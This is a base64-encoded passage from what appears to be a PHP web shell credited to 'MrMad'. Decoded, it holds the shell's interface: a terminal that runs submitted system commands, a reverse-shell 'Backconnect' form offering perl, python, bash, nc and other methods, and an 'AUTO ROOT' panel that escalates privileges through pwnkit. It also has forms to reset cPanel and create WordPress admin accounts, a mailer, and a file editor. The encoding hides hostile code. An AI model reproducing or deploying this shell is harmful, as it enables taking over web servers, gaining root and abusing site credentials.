Qb3AgSnF1ZXJ5IENyZWF0ZSBGb2xkZXIvRmlsZSBCeSAuL01yTWFkIC0tPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+JHt0aGlzLnRpdGxlfTwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1vZGFsLWJvZHktYmMiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ibW9kYWwtaW5wdXQiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBpZD0iY2xvc2UtbW9kYWwiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2NwYW5lbHJlc2V0J10pKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgYWN0aXZlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+OjogQ3BhbmVsIFJlc2V0IDwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWlzaSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9InJlc2V0Y3AiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJZb3VyIGVtYWlsIDogZXhhbXBsZUBtYWlsLmNvbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydjcmVhdGV3cCddKSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+Q1JFQVRFIFdPUkRQUkVTUyBBRE1JTiBQQVNTV09SRDwvY2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaXNpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYl9uYW1lIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iREJfTkFNRSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJfdXNlciIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkRCX1VTRVIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX3Bhc3N3b3JkIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iREJfUEFTU1dPUkQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX2hvc3QiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJEQl9IT1NUIiB2YWx1ZT0iMTI3LjAuMC4xIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociBzaXplPSIyIiBjb2xvcj0iYmxhY2siIHN0eWxlPSJtYXJnaW46MHB4IDMwcHg7IGJvcmRlci1yYWRpdXM6M3B4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3BfdXNlciIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IllvdXIgVXNlcm5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndwX3Bhc3MiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJZb3VyIFBhc3N3b3JkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0d3AiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydiYWNrY29ubmVjdCddKSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPjo6IEJhY2tjb25uZWN0PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iYmMtZ2Vja28gYm94LXNoYWRvdyIgbmFtZT0iZ2Vja28tYmMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iLSI+Q2hvb3NlIEJhY2tjb25uZWN0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZXJsIj5QZXJsPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJweXRob24iPlB5dGhvbjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icnVieSI+UnVieTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYmFzaCI+QmFzaDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGhwIj5waHA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Im5jIj5uYzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ic2giPnNoPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ4dGVybSI+WHRlcm08L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImdvbGFuZyI+R29sYW5nPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmFja2Nvbm5lY3QtaG9zdCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IjEyNy4wLjAuMSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJudW1iZXIiIG5hbWU9ImJhY2tjb25uZWN0LXBvcnQiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSIxMzM3Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0LWJjIiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxhIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyIgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4iPkNsb3NlPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmIChpc3NldCgkX0dFVFsnbWFpbGVyJ10pKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgYWN0aXZlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+OjogUEhQIE1haWxlcjwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWlzaSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1tYWlsLXRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0ibWVzc2FnZS1zbXRwIiBjbGFzcz0iYm94LXNoYWRvdyBtYWlsIiBwbGFjZWhvbGRlcj0iJm5ic3A7WW91ciBUZXh0IGhlcmUhIj48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWFpbHRvLXN1YmplY3QiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJTdWJqZWN0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0ibWFpbC1mcm9tLXNtdHAiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJmcm9tIDogZXhhbXBsZUBtYWlsLmNvbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9Im1haWwtdG8tc210cCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9InRvIDogZXhhbXBsZUBtYWlsLmNvbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydmJ10pIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2RlLWVkaXRvciI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2RlLWVkaXRvci1oZWFkIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWNvZGUiPjwvaT4mbmJzcDsgQ29kZSBFZGl0b3IgOiA8Pz0gdW54KCRfR0VUWydmJ10pOyA/PjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29kZS1lZGl0b3IiIGlkPSJjb2RlIiBjbGFzcz0iYm94LXNoYWRvdyIgYXV0b2ZvY3VzPjw/PSAkZnVuZ3NpWzEwXSgkZnVuZ3NpWzExXSgkZnVuZ3NpWzBdKCkgLiAiLyIgLiB1bngoJF9HRVRbJ2YnXSkpKTsgPz48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlLWVkaXRvciIgdmFsdWU9IlNhdmUiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSIgaWQ9ImNsb3NlLWVkaXRvciI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gIm5vcm1hbCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1oZWFkIj4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpZD0idGVybWluYWwtdGl0bGUiPjxiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwO1RFUk1JTkFMPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJjbG9zZS10ZXJtaW5hbCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXJpZ2h0LWZyb20tYnJhY2tldCI+PC9pPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0iYm94LXNoYWRvdyIgZGlzYWJsZWQ+PD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZ1bmdzaVsxMF0oY21kKCRfUE9TVFsndGVybWluYWwtdGV4dCddIC4gIiAyPiYxIikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZXJtaW5hbC10ZXh0IiBjbGFzcz0idGVybWluYWwtaW5wdXQgYm94LXNoYWRvdyIgcGxhY2Vob2xkZXI9Ijw/PSAkZnVuZ3NpWzldKCkgLiAiQCIgLiAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyXHg1Zlx4NDFceDQ0XHg0NFx4NTIiXTsgPz4iIGF1dG9mb2N1cz48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InRlcm1pbmFsIiB2YWx1ZT0iPiIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsndGVybWluYWwnXSA9PSAicm9vdCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1oZWFkIj4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpZD0idGVybWluYWwtdGl0bGUiPjxiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwO0FVVE8gUk9PVDwvYj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iIiBkaXNhYmxlZD48P3BocCBpZiAoJGZ1bmdzaVszXSgnLm1hZC1yb290JykgJiYgJGZ1bmdzaVszXSgncHdua2l0JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9ICRmdW5nc2lbMTFdKCcubWFkLXJvb3QnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyX3RleHQgPSBleHBsb2RlKCIgIiwgJHJlc3BvbnNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcl90ZXh0WzBdID09ICJ1aWQ9MChyb290KSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtcm9vdCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnLi9wd25raXQgIicgLiAkX1BPU1RbJ3Jvb3QtdGVybWluYWwnXSAuICcgIDI+JjEiJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJUaGlzIERldmljZSBJcyBOb3QgVnVsbmVyYWJsZVxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnY2F0IC9ldGMvb3MtcmVsZWFzZScpIC4gIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJLZXJuZWwgVmVyc2lvbiA6ICIgLiBzdWdnZXN0X2V4cGxvaXQoKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVuZ3NpWzI0XSgnLm1hZC1yb290Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJvb3QtdGVybWluYWwiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgcGxhY2Vob2xkZXI9Ijw/PSAicm9vdCIgLiAiQCIgLiAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyXHg1Zlx4NDFceDQ0XHg0NFx4NTIiXTsgPz4iIGF1dG9mb2N1cz48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1yb290IiB2YWx1ZT0iPiIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsncmUnXSA9PSB0cnVlKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgYWN0aXZlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+UmVuYW1lIDogPD89IHVueCgkX0dFVFsncmUnXSkgPz48L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ibW9kYWwtaW5wdXQiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZW5hbWVGaWxlIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iUmVuYW1lIj48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdW